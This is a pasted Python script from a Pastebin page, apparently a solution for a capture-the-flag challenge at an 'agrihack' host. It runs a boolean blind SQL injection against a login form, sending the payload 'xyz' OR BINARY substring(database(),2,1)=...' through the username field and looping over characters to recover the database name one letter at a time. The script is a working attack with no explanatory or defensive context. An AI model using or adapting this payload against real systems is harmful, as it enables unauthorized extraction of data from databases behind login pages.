Advertisement
Guest User

Untitled

a guest
Feb 9th, 2017
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. import requests
  2. url = 'http://sawah.agrihack.party:40003/'
  3.  
  4. for c in range(0x20,0x7f):
  5.  
  6. username="xyz' OR BINARY substring(database(),2,1)='%s' -- " % (chr(c))
  7. password="12345"
  8.  
  9. form ={'username': username,'password':password,'submit':'Login'}
  10.  
  11. response=requests.post(url,data=form)
  12.  
  13. if "username/password salah" in response.text:
  14. status = False
  15. elif "AgriLogin" in response.text:
  16. status = True
  17.  
  18. if status == True:
  19. print chr(c)
  20. break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement